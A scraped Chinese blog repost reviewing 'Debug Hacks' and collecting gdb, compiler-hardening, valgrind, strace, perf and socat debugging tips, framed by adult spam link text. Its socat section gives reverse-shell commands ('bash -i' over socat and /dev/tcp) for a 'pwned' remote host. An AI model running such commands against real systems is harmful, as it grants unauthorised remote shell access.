日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

《Debug Hacks》和调试技巧【转】

發布時間:2023/12/20 编程问答 54 豆豆
生活随笔 收集整理的這篇文章主要介紹了 《Debug Hacks》和调试技巧【转】 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

轉自:https://blog.csdn.net/sdulibh/article/details/46462529

Debug Hacks

作者為吉岡弘隆、大和一洋、大巖尚宏、安部東洋、吉田俊輔,有中文版《Debug Hacks中文版—深入調試的技術和工具》。這本書涉及了很多調試技巧,對調試器使用、內核調試方法、常見錯誤的原因,還介紹了systemtap、strace、ltrace等一大堆工具,非常值得一讀。

話說我聽說過的各程序設計課程似乎都沒有強調過調試的重要性,把調試當作單獨一節課來上(就算有估計也上不好),很多人都只會printf調試法,breakpoint都很少用,就不提conditional breakpoint、watchpoint、reverse execution之類的了。也看到過很多同學在調試上浪費了很長很長的時間。

下面是篇review,也包含了一些我自己整理的一些調試技巧。

折騰工具

繼續牢騷幾句,我接觸過的人當中感覺最執著與折騰工具的人只有兩個,ppwwyyxx和xiaq,他們是少有的能把折騰工具當作正經工作來做的人。

很久以前我還會到處在網上搜索好的實用工具,尤其是那些CLI程序,比如renameutils、xsel、recode、the_silver_searcher,查閱文檔定制自己的配置文件。但這么做花費的時間太多。后來就想我可以搜索一些善于折騰的人的配置文件,關注他們修改了哪些地方,我的配置只要取眾家之所長就可以了。

先厚顏自薦一下我的配置。下面的用戶列表就是我找到的在GitHub上把dotfiles配置地井井有條的人(如果GitHub支持按照項目的大小排序,列表搜集就能省很多麻煩了):

1 alejandrogomez?bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng

有了上述的dotfiles,其他人的dotfiles大多都不愿看了。但是五岳歸來不看山,黃山歸來不看岳,ppwwyyxx的dotfiles感覺與之前諸位相比更勝一籌。

無關的話到此結束,下面是正文:

gdb

記錄歷史

把下面幾行添加到~/.gdbinit中吧,gdb啟動時會自動讀取里面的命令并執行:

1 2 3 set?history?save?on set?history?size?10000 set?history?filename ~/.history/gdb

我習慣在~/.history堆放各個歷史文件。有了歷史,使用readline的reverse-search-history (C-r)就能輕松喚起之前輸入過的命令。

修改任意內存地址的值

1 set?{int}0x83040?=?4

顯示intel風格的匯編指令

1 set?disassembly-flavor intel

斷點在function prologue前

先說一下function prologue吧,每個函數最前面一般有三四行指令用來保存舊的幀指針(rbp),并騰出一部分棧空間(通常用于儲存局部變量、為當前函數調用其他函數騰出空間存放參數,有時候還會存儲字面字符串,當有nested function時也會用于保存當前的棧指針)。

在x86-64環境下典型的funcition prologue長成這樣:

1 2 3 push?rbp mov?rbp,?rsp sub?rsp,?0x10

可能還會有and指令用于對齊rsp。如果編譯時加上-fomit-frame-pointer(Visual Studio中文版似乎譯作“省略框架指針”),那么生成的指令就會避免使用rbp,function prologue就會簡化成下面一行:

1 sub?rsp,?0x10

設置斷點時如果使用了b *func的格式,也就是說在函數名前加上*,gdb就會在執行function prologue前停下,而b func則是在執行function prologue后停下。參考下面的會話:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 % gdb a.out Reading symbols from /tmp/a.out...done. (gdb) b *main Breakpoint?1?at?0x4005cc: file a.c, line?4. (gdb) r Starting program: /tmp/a.out warning:?Could?not?load shared library symbols for linux-vdso.so.1. Do?you need?"set solib-search-path"?or?"set sysroot"? Breakpoint?1, main ()?at?a.c:4 4?{ (gdb) disas Dump of assembler code for function main: =>?0x00000000004005cc?<+0>:?push?rbp 0x00000000004005cd?<+1>:?mov?rbp,rsp 0x00000000004005d0?<+4>:?sub?rsp,0x10 0x00000000004005d4?<+8>:?mov?DWORD?PTR?[rbp-0x4],0x0 0x00000000004005db?<+15>:?mov?eax,DWORD?PTR?[rbp-0x4] 0x00000000004005de?<+18>:?mov?esi,eax 0x00000000004005e0?<+20>:?mov?edi,0x4006ec 0x00000000004005e5?<+25>:?mov?eax,0x0 0x00000000004005ea?<+30>:?call?0x400454?<printf@plt> 0x00000000004005ef?<+35>:?leave 0x00000000004005f0?<+36>:?ret End of assembler dump. (gdb)

Checkpoint

gdb可以為被調試的程序創建一個快照,即保存程序運行時的狀態,等待以后恢復。這個是非常方便的一個功能,特別適合需要探測接下來會發生什么但又不想離開當前狀態時使用。

ch是創建快照,d c ID是刪除指定編號的快照,i ch是查看所有快照,restart ID是切換到指定編號的快照,詳細說明可以在shell里鍵入info '(gdb) Checkpoint/Restart'查看。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 % gdb ./a.out Reading symbols from /tmp/a.out...done. (gdb) b?6 Breakpoint?1?at?0x4005db:?file?a.c, line?6. (gdb) r Starting program: /tmp/a.out warning: Could?not?load?shared?library?symbols?for?linux-vdso.so.1. Do you need?"set solib-search-path"?or?"set sysroot"? Breakpoint?1, main () at a.c:6 6?printf("%d\n", a); (gdb) ch checkpoint: fork returned pid?6420. (gdb) p a=3 $1?=?3 (gdb) i ch 1?process?6420?at?0x4005db,?file?a.c, line?6 *?0?process?6416?(main?process) at?0x4005db,?file?a.c, line?6 (gdb) restart?1 Switching?to?process?6420 #0?main () at a.c:6 6?printf("%d\n", a); (gdb) c Continuing. 0 [Inferior?1?(process?6420) exited?with?code?02] [Switching?to?process?6416] (gdb)

上面的會話中先用ch創建了一個快照,緊接著a被修改為了3,隨后用restart 1恢復到編號為1的快照,繼續運行程序可以發現a仍然為原來的值0。

以色列的Haifa Linux club有一次講座講gdb,講稿值得一看:http://haifux.org/lectures/210/gdb_-_customize_it.html

逆向技術

Long Le的peda很不錯,感覺比http://reverse.put.as的https://github.com/gdbinit/Gdbinit好用。

gcc

Mudflap

使用了compile-time instrumentation(CTI)的工具。編譯時加上-fmudflap -lmudflap選項即可,會在很多不安全代碼生成的指令前加上判斷合法性的指令。

1 2 3 4 5 6 7 8 9 10 11 12 13 % echo 'int main() { int z[1]; z[1] =?2; }' | cc -xc - -fmudflap -lmudflap % ./a.out ******* mudflap violation?1?(check/write):?time=1376473424.792953?ptr=0x7fff2cde3150?size=8 pc=0x7fa2bacf86f1?location=`<stdin>:1:29?(main)' /usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libmudflap.so.0(__mf_check+0x41) [0x7fa2bacf86f1] ./a.out(main+0x8f) [0x400b6b] /lib64/libc.so.6(__libc_start_main+0xf5) [0x7fa2ba968c35] Nearby object?1: checked region begins?0B into?and?ends?4B after mudflap object?0x7070e0:?name=`<stdin>:1:18?(main) z' bounds=[0x7fff2cde3150,0x7fff2cde3153]?size=4?area=stack?check=0r/3w?liveness=3 alloc?time=1376473424.792946?pc=0x7fa2bacf7de1 number of nearby objects:?1

第一行用-xc -讓cc從標準輸入讀源代碼,并當作C來編譯。接來下執行./a.out,可以看到運行時程序報錯了。

使用MUDFLAP_OPTIONS環境變量可以控制Mudflap的運行期行為,具體參見Mudflap Pointer Debugging。

AddressSanitizer

和Mudflap類似的工具,clang和gcc可以加上選項-fsanitize=address使用,比如:

1 clang -fsanitize=address a.c

如果想在出錯的地方斷點停下來,可以用gdb打開,輸入b __asan_report_store1回車,再輸入r回車運行程序。

-ftrapv

這個選項是調試有符號整型溢出問題的利器。在i386環境下,gcc會把int32_t運算編譯成call __addvsi3,__addvsi3函數會在運行時檢查32位有符號加法運算是否產生溢出,如果是則調用abort函數中止程序。減法、乘法和取反運算也有類似的運行時函數檢查溢出,另外也有64位版本的__addvdi3等函數。但不存在對無符號整型的溢出檢測函數。比如下面這些代碼均會觸發trap:

1 2 3 4 int?a = INT_MAX; a++; int?b = INT_MIN; b--; int?c = INT_MAX; c *=?2; int?d = INT_MIN; d = -d;

這段代碼來自gcc項目目錄的libgcc/libgcc2.c:

1 2 3 4 5 6 7 8 9 10 11 #ifdef L_subvsi3 Wtype __subvSI3 (Wtype a, Wtype b) { const?Wtype w = (UWtype) a - (UWtype) b; if?(b >=?0?? w > a : w < a) abort?(); return?w; }

但注意在x86-64環境下-ftrapv只檢查64位溢出。考慮下面這段代碼:

1 2 3 4 5 6 7 8 9 10 11 12 13 #include?<limits.h> #include?<stdio.h> int?main() { int?a = INT_MAX; a++; puts("barrier"); long?b = LONG_MAX; b++; }

在x86-64下用gcc編譯運行,輸出barrier后才會執行abort使程序中止,因為int32_t的溢出不會觸發trap。

clang也有-ftrapv,在x86-64環境下對于int32_t的溢出也能觸發trap。

_FORTIFY_SOURCE

gets、strcpy這類函數容易造成stack mashing。gcc編譯時如果指定了-D_FORTIFY_SOURCE=1,生成的匯編程序中這些不安全的函數調用會被替代為libc.so中名字類似__gets_chk的一類安全函數,會在運行期檢查是否產生了緩沖區溢出。比如,下面的代碼會在運行時報錯:

1 2 3 4 5 6 7 #include?<string.h> int?main() { char?a[2]; strcpy(a,?"meow"); }

Gentoo Portage從gcc-4.3.3-r1開始默認開啟_FORTIFY_SOURCE標志了,好多發行版都開啟了,測試發現Arch Linux的gcc似乎沒有。shell里執行下面代碼就可以看到Gentoo里是怎么定義_FORTIFY_SOURCE的了:

1 echo?-e?'#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }'?| cpp

也就是當優化等級在-O1或以上時_FORTIFY_SOURCE會生效,名字為__$func_chk模式的函數會被使用。這種做法造成了一些麻煩,比如suricata?git tree里的src/suricata.c使用了#ifdef _FORTIFY_SOURCE,會造成編譯無法通過。

-fstack-protector

-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong

https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/

開啟Stack-Smashing Protector (SSP)。我的理解是在儲存的幀指針(rbp)前寫入一個magic number,函數返回的時候檢查下這個magic number是否被改動,如果是就可能產生stack smashing了。這個方法的footprint最小,但是保護力度也比較弱。

IA32

function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax

function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350?__stack_chk_fail@plt?80484e8: c9 leave 80484e9: c3 ret

x86-64

function prologue:

4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax

function epilogue

400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0?__stack_chk_fail@plt?400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret

execinfo.h

提供了int backtrace (void **buffer, int size)、char ** backtrace_symbols (void *const *buffer, int size)在程序運行時查看函數調用棧。參見http://www.gnu.org/software/libc/manual/html_node/Backtraces.html。

Misc

Valgrind

一系列調試和profiling工具的套件,其中的Memcheck是一個使用了dynamic binary instrumentation(DBI)的工具, 在程序指令間插入自己的指令檢查validity和addressablity。另外Memcheck替換了標準的malloc,這樣就可以檢測出off-by-one error、double free、內存泄漏等許多問題。

Memcheck引入的footprint極小,無需重編譯程序,也沒有繁瑣的配置。比如原來是用./a.out執行程序,需要Memcheck時就換成valgrind ./a.out。

在程序訪問某一內存地址時Memcheck會檢查是否有越界之類的錯誤,Memcheck能診斷出大量但不是全部的訪問錯誤,比如下面這樣有問題的代碼就沒法檢查出來:

1 2 3 4 5 int?main() { int?a[1]; a[1992] =?12; }

因為a[1992]的地址在棧上,允許訪問。

Valgrind啟動時會讀取~/.valgrindrc,對于memcheck我配置了下面這幾行:

1 2 3 4 5 6 7 8 --memcheck:leak-check=yes --memcheck:show-possibly-lost=yes --memcheck:show-reachable=yes --memcheck:track-origins=yes --memcheck:dsymutil=yes --memcheck:track-fds=yes --memcheck:track-origins=yes --memcheck:gen-suppressions=all

valgrind --vgdb-error=0 --vgdb=yes很強大,可以在進程遇到錯誤時讓gdb調試。

strace

記錄程序執行的系統調用和收到的信號,和valgrind類似,使用非常簡單:

1 strace ./a.out

有一些選項可以attach到現有進程上去(-p)、記錄時刻(-t)、統計系統調用使用次數(-c)、過濾特定的系統調用(-e)等。

帶上-c選項可以統計系統調用的使用次數:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 %?strace?-c?ls chap04?chap05?chap06?chap07?chap08?chap09?chap10?chap11?chap12?chap13?chap14?chap15?chap16?chap17 %?time?seconds?usecs/call?calls?errors?syscall ------?-----------?-----------?---------?---------?---------------- 0.00?0.000000?0?5?read 0.00?0.000000?0?1?write 0.00?0.000000?0?7?open 0.00?0.000000?0?10?close 0.00?0.000000?0?8?fstat 0.00?0.000000?0?20?mmap 0.00?0.000000?0?12?mprotect 0.00?0.000000?0?2?munmap 0.00?0.000000?0?3?brk 0.00?0.000000?0?2?rt_sigaction 0.00?0.000000?0?1?rt_sigprocmask 0.00?0.000000?0?2?ioctl 0.00?0.000000?0?1?1?access 0.00?0.000000?0?1?execve 0.00?0.000000?0?1?fcntl 0.00?0.000000?0?2?getdents 0.00?0.000000?0?1?getrlimit 0.00?0.000000?0?1?arch_prctl 0.00?0.000000?0?2?1?futex 0.00?0.000000?0?1?set_tid_address 0.00?0.000000?0?1?openat 0.00?0.000000?0?1?set_robust_list ------?-----------?-----------?---------?---------?---------------- 100.00?0.000000?85?2?total

-e選項只跟蹤指定系統調用:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 % strace -e read,open ls open("/etc/ld.so.cache",?O_RDONLY|O_CLOEXEC) =?3 open("/lib64/librt.so.1",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"...,?832) =?832 open("/lib64/libacl.so.1",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"...,?832) =?832 open("/lib64/libc.so.6",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"...,?832) =?832 open("/lib64/libpthread.so.0",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"...,?832) =?832 open("/lib64/libattr.so.1",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"...,?832) =?832 open("/usr/lib64/locale/locale-archive",?O_RDONLY|O_CLOEXEC) =?3 chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17 +++ exited?with?0?+++

使用strace還可以做一些很可怕的事,比如有root權限的情況下嗅探sshd以得到其他嘗試SSH登錄的用戶的密碼:SSHD password sniffing。

-p很有用,比如調試CGI wrapperfcgiwrap,觀察它的輸出:

1 strace?-s200 -p$(pidof?-s?fcgiwrap)?-e?write

ltrace

記錄程序調用的動態庫中的函數。名字和strace很像,使用方式和很多命令行選項也如出一轍。

查看echo test

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 % ltrace echo?test __libc_start_main(0x401590,?2,?0x7fff2bb3d4d8,?0x403ef0?<unfinished ...> getenv("POSIXLY_CORRECT") = nil strrchr("echo",?'/') = nil setlocale(LC_ALL,?"") =?"en_US.UTF-8" bindtextdomain("coreutils",?"/usr/share/locale") =?"/usr/share/locale" textdomain("coreutils") =?"coreutils" __cxa_atexit(0x401cf8,?0,?0,?0x736c6974756572) =?0 strcmp("test",?"--help") =?71 strcmp("test",?"--version") =?71 fputs_unlocked(0x7fff2bb3f1d3,?0x7f50af982160,?0,?45) =?1 putchar_unlocked(10,?116,?0x7f50afba6004, 0xfbad2a84test ) =?10 exit(0?<unfinished ...> __fpending(0x7f50af982160,?0,?4,?0x7f50af982cf0) =?0 ferror_unlocked(0x7f50af982160,?0,?4,?0x7f50af982cf0) =?0 fileno(0x7f50af982160) =?1 __freading(0x7f50af982160,?0,?4,?0x7f50af982cf0) =?0 __freading(0x7f50af982160,?0,?2052,?0x7f50af982cf0) =?0 fflush(0x7f50af982160) =?0 fclose(0x7f50af982160) =?0 __fpending(0x7f50af982080,?0,?0,?0) =?0 ferror_unlocked(0x7f50af982080,?0,?0,?0) =?0 fileno(0x7f50af982080) =?2 __freading(0x7f50af982080,?0,?0,?0) =?0 __freading(0x7f50af982080,?0,?4,?0) =?0 fflush(0x7f50af982080) =?0 fclose(0x7f50af982080) =?0 +++ exited (status?0) +++

Ltrace Internals描述了ltrace的實現機制。

SystemTap

SystemTap提供了一套底層工具用于trace/probe。用戶編寫SystemTap script語言的程序,SystemTap將其翻譯為C代碼,再編譯成臨時的內核模塊。內核模塊加載時SystemTap script腳本里的hook就會在特定event發生時執行。當SystemTap腳本停止運行時,相應的hook就被刪除,移除臨時的內核模塊。這一整套流程都是通過一個簡單的CLI程序stap驅動的。

SystemTap使用前的配置過程比較復雜,需要特制的內核,開啟CONFIG_KPROBES=y、CONFIG_DEBUG_INFO=y等諸多內核編譯選項。

比如如下的簡單腳本就能顯示各進程調用net/socket.c內函數的情況:

1 2 3 4 5 6 probe kernel.function("*@net/socket.c").call { printf?("%s?->?%s\n", thread_indent(1), ppfunc()) } probe kernel.function("*@net/socket.c").return?{ printf?("%s?<-?%s\n", thread_indent(-1), ppfunc()) }

perf

1 2 3 4 perf record?-e?probe_a:main?-e?probe_a:main_1 /home/ray/tmp/a perf annotate sudo?perf probe -x ~/tmp/a?'main%return %ip %sp' sudo?perf record?-e?probe_a:main?-e?probe_a:main_1 /home/ray/tmp/a &&?sudo?perf script

可執行文件不能在tmpfs分區。

1 A=~/tmp; cc -xc <(echo?'main(){}') -Wl,-rpath,$A?-o a &&?sudo?perf probe?-d?'*'?|| :;?sudo?perf probe -x?$A/libc.so.6?malloc &&?sudoperf record?-e?probe_libc:malloc?-aR ./a &&?sudo?perf report -n

其他

書里還介紹了很多神奇的玩意兒,比如kaho,用于讀取被編譯器優化掉的變量;livepatch,運行時動態修改變量、替換函數等。這兩個工具我在網上檢索了下,感覺是個proof of concept的東西,也沒有更新了。不夠這些思路很奇特,想到了并試圖去解決調試時常受困擾的問題,很棒。

?

?

?

CFLAGS使用-g3

?

對于重度使用macro的程序很有用,可以在gdb里使用info macro NAME、macro expand EXPR等命令了,print參數里的macro也可以展開。

rr

參見http://rr-project.org/,調試時最痛苦的莫過于難于重現,rr可以把不確定的外部影響固定下來。它的初衷是用來調Firefox的,由此可見它的可用性……幻燈片http://rr-project.org/rr.html介紹了很多內部機理,值得一看。

gdb -p不可用: ptrace: Operation not permitted.

gdb無法attach到用戶相同的另一個進程上。Arch Linux、Ubuntu等很多發行版的內核默認設置了kernel.yama.ptrace_scope,參見https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE?capability的進程只能ptrace它的后裔進程(子、孫、玄孫、來孫、晜孫、仍孫、云孫、耳孫等)。不特別在乎安全性的話,可以執行sudo sysctl kernel.yama.ptrace_scope=0。

收到SIGINT(或其他信號)后立刻用gdb調試自己

設想是fork產生一個新進程并停下來,原進程exec成gdb并attach調試新進程。注意:新進程應設置以創建新的進程組,不然gdb按數次continue后自身也會被stop,gdb所在終端將丟失前臺進程組。這里我不太清楚gdb被stop的具體原因,但進程組經常作為一個整體和信號、終端等概念相互關聯,可能是這方面的原因。

這里SIGINT可以考慮換成SIGFPE、SIGSEGV等,以防止進程死亡,用gdb交互式檢視各個變量的值等以便于差錯。

https://gist.github.com/MaskRay/298e87e465f45988d37f:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include?<signal.h> #include?<stdio.h> #include?<stdlib.h> #include?<sys/types.h> #include?<unistd.h> void?sigint(int) { pid_t pid = fork(); if?(pid == -1) abort(); else?if?(pid) { char?s[13]; sprintf(s,?"%d", pid); execlp("gdb",?"gdb",?"-p", s, NULL); }?else?{ setpgid(0, getpid()); kill(getpid(), SIGSTOP); } } int?main() { signal(SIGINT, sigint); sleep(1337); puts("seen after gdb"); sleep(1337); }

調試使用終端特性的程序

對于ncurses這類使用終端特性的程序,在gdb下調試時,gdb交互的終端也會被程序使用,程序可能執行屏幕擦除、移動光標等操作,和gdb交互的輸出混雜在一起,產生干擾。解決方案是使用gdb的tty命令(文檔見info '(gdb) Input/Output')。下面以rlwrap rev為例說明調試方法。

使用coreutils中的tty命令(并非gdb的tty命令)獲得當前終端的名稱,如/dev/pts/13,然后創建新shell會話,假設終端名是/dev/pts/14,將用作被調試程序的標準輸入、輸出、出錯。在這個新終端里執行sleep 9999(如果不執行這條命令的話,/dev/pts/14的前臺進程組是shell,會搶奪終端輸入,而sleep不會讀取終端輸入,因此不會和被調試程序競爭)。

然后回到原來的shell會話(/dev/pts/13),用gdb調試程序:

1 2 3 % gdb -tty /dev/pts/14?--args?rlwrap rev Reading symbols from rlwrap...(no?debugging symbols found)...done. (gdb)?r

之后即可在/dev/pts/14和被調試程序交互了。或者用命令tty /dev/pts/14替代命令行選項-tty。

注意,此時被調試程序的標準輸入、輸出、出錯均為/dev/pts/14,但沒有控制終端(controlling terminal),并且能在/dev/pts/14看到gdb的警報:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace調試gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb嘗試把/dev/pts/14設為被調試進程的控制進程,但失敗了。原因是/dev/pts/14上還有shell和sleep 9999以它為控制終端,無法搶奪。不過多數情況用不著控制終端提供的一些功能。

參見http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php。

socat

把不同輸入輸出端對接的瑞士軍刀,是nc的進化型,支持非常多的網絡協議、文件等IO方式。

下面演示如何把一個程序的輸入和輸出分別接到監聽的某個socket的輸出和輸入上。

對弈的gnuchess

創建black.sh:

1 2 #!/bin/zsh {?echo?depth?0; cat;?echo?exit;} | gnuchess?-e?| stdbuf -o0 grep?-aPo?'(?<=My move is : )\S+'

用socat啟動TCP服務端:socat tcp-l:4444,reuseaddr exec:./black.sh。

創建white.sh:

1 2 #!/bin/zsh {?echo?depth?0;?echo?go; cat;?echo?exit;} | gnuchess?-e?| tee /tmp/output | stdbuf -o0 grep?-aPo?'(?<=My move is : )\S+'

用socat啟動TCP客戶端:socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到兩個gnuchess進程的對局。執行gnuchess,輸入depth 0后可以限制它的搜索深度(加快運行速度),輸入go可以讓它走一步。

寫到此處,忽然想到之前NOI 2010團體對抗賽時,不了解這些東西的用法,浪費了很大工夫。

輸入輸出到終端的reverse shell

通常用system("sh")等方式搞的shell都不是interactive shell,沒有提示符,也無法用readline的快捷鍵,不方便。下面介紹產生interactive shell的方法:

本地監聽9999端口,等遠端被pwn的程序連接:

1 2 socat stdio,raw,echo=0?tcp-l:9999 # 或者使用stty -echo raw; nc -l 9999; stty echo -raw

遠端執行:

1 socat tcp:0:9999?exec:'bash -i',pty,stderr?# 0應填之前監聽9999端口的機器的IP

當然遠端很可能沒有socat,可以用util-linux包中的script:

1 script -qc?'bash -i'?/dev/null &>/dev/tcp/0/9999?<&1?# 使用了bash創建socket的功能

pstack

打印指定進程的系統棧。

本質是一段腳本,核心是下面這句話:

1 2 #!/bin/zsh gdb -q -nx -p?$1?<<<?'t a a bt'?2>&- | sed?-ne?'/^#/p'

你應該把它保存到你的工具集里。新的gdb支持對單線程進程使用thread apply all bt了。

1 2 3 4 5 6 7 8 9 10 11 12 % pstack $$ #0?0x00007fc00a3a6866?in?sigsuspend ()?from?/usr/lib/libc.so.6 #1?0x0000000000471906?in?signal_suspend () #2?0x0000000000442d56?in??? () #3?0x0000000000443437?in?waitjobs () #4?0x0000000000429b4b?in??? () #5?0x000000000042a6e1?in?execlist () #6?0x000000000042a970?in?execode () #7?0x000000000043c1dc?in?loop?() #8?0x000000000043f30e?in?zsh_main () #9?0x00007fc00a393800?in?__libc_start_main ()?from?/usr/lib/libc.so.6 #10?0x000000000041013e?in?_start ()

安裝新的gdb

gdb和gcc有一定的版本適配性,有些惡劣的工作環境需要自己編譯安裝gdb,下面只是我折騰C++ STL查看器的注記。

1 ./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python

~/.gdbinit里添加:

1 2 3 4 5 6 python import?sys sys.path.append('/usr/share/gcc-4.9/python') from?libstdcxx.v6.printers?import?register_libstdcxx_printers register_libstdcxx_printers(None) end

沒有源碼的環境調試

用sshfs或其他文件共享手段從其他機器上掛載源碼目錄,使用directory命令設置源碼查找目錄。另外還有set substitute-path,參見info '(gdb) Source Path'。

MongoDB resource limits動態設置調試記

MongoDB使用mmap映射數據文件及分配內存,把內存管理的任務交給操作系統,造成內存使用量無法控制。我誤以為resource limits中的RLIMIT_AS可以限制虛擬內存使用, 就在啟動mongod前執行ulimit -v $[512*1024],效果是之后所有在shell里啟動的新進程的虛擬內存都不能超過512MiB。

在測試寫入性能時,發現過了很長時間也沒有把所有測試數據插入成功。后查看日志發現這些記錄:

1 2 2015-03-13T20:20:18.558+0800?[conn1] ERROR: mmap?private?failed?with?out?of?memory. (64?bit build) 2015-03-13T20:20:18.558+0800?[conn1] Assertion:?13636:file?/tmp/db/test.2?open/create?failed?in?createPrivateMap (look?in?logfor?more information)

大概每5秒鐘會產生一段錯誤記錄,估計和mmap有關。使用strace查看mongod及其所有子進程(包括當前和未來創建的)的mmap系統調用:strace -fe mmap -p $(pgrep -n mongod),產生大量重復的輸出:

1 2 [pid?31551] mmap(NULL,?67108864, PROT_READ|PROT_WRITE, MAP_SHARED,?17,?0) =?0x7f2e58716000 [pid?31551] mmap(NULL,?67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE,?17,?0) = -1?ENOMEM (Cannot allocate memory)

即以兩個mmap為單元,不斷輸出這兩行,注意到mmap(2)參數中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜測這兩個mmap都和數據文件(test.0、test.1等)有關。后來再用pmap -p $(pgrep -n mongod)列示已映射的地址空間,發現與0x7f2e58716000(第一次執行的mmap的返回值)地址相近的都是些數據文件,印證了猜測。后來看/proc下該進程的相關信息,發現/proc/$(pgrep -n mongod)/limits列示的Max address space不正常,終于想到是先前ulimit -v限制了地址空間大小,導致了這個問題。之后有兩個解決辦法,一是關閉mongod,修改resource limits后重啟,二是動態修改resource limits。為了好玩,自然選第二個。先要找出RLIMIT_AS的數值:ag RLIMIT_AS /usr/include/bits,發現是9,之后用gdb?attach到mongod上修改resource limits:

1 2 3 4 5 6 7 $ gdb -p $(pgrep -n mongod) (gdb)?set?$r?= &{0ll,?0ll} (gdb) p getrlimit(9,$r) $1?=?0 (gdb)?set?(*$r)[0]=-1?# struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的項是rlim_cur (gdb) p setrlimit(9,$r) $1?=?0

成功修改了resource limits!之后日志中果然出現了數據文件新建成功的信息,不再有mmap的錯誤了。

轉載于:https://www.cnblogs.com/sky-heaven/p/9947581.html

總結

以上是生活随笔為你收集整理的《Debug Hacks》和调试技巧【转】的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

在线成人高清电影 | 天天射网站| 在线黄频 | 成人aaa毛片 | 亚洲国产资源 | 久久精品欧美日韩精品 | 91视频麻豆视频 | 伊人超碰在线 | 97在线观看免费视频 | 最新av网址在线观看 | 国产精品va最新国产精品视频 | 视频在线日韩 | 婷婷色在线观看 | 99视频导航 | 欧美日韩一区二区在线 | 色黄视频免费观看 | 婷婷久草 | 久久久亚洲影院 | 久久1电影院 | 黄污网站在线 | 久操免费视频 | av在线h | 精品国产_亚洲人成在线 | 99精品视频在线观看 | 三级视频片| 欧美成人精品三级在线观看播放 | 欧美动漫一区二区三区 | 超碰在线人| 色婷婷av一区二 | 成人国产网址 | 免费精品 | 亚洲欧美国内爽妇网 | 久久精品香蕉 | 国产中文字幕网 | 91精品人成在线观看 | 在线国产专区 | 国产96视频 | 在线观看av的网站 | free,性欧美 九九交易行官网 | av高清影院 | 国产精品一区在线观看 | 日本二区三区在线 | www.com.日本一级 | 国产成人免费在线观看 | 国产午夜精品理论片在线 | 国产高清在线看 | 三级a毛片| 黄色网址国产 | 麻豆视频在线观看免费 | 成人av午夜| 久久国产视屏 | 一区二区三区三区在线 | 成年人黄色免费看 | 97视频在线观看视频免费视频 | 五月天久久综合 | 国产成人av网址 | 五月婷婷中文 | 午夜电影一区 | 日本中文字幕在线 | 久久久久久国产一区二区三区 | 国产日韩中文字幕在线 | 日本精品久久久久中文字幕5 | 精品国产99| 伊人天天操 | 人人看看人人 | 国产精品一区免费在线观看 | 人人干人人艹 | 综合在线观看 | 在线观看视频一区二区三区 | 在线观看日韩精品视频 | 国产免费亚洲 | 日本公妇在线观看高清 | 日韩国产精品一区 | 亚洲免费不卡 | 国产精品美女在线 | 天天色天天爱天天射综合 | 西西www4444大胆视频 | 97在线观 | 黄色在线观看污 | 在线亚洲高清视频 | 丝袜美腿在线播放 | 久久亚洲区 | 天天插天天狠天天透 | 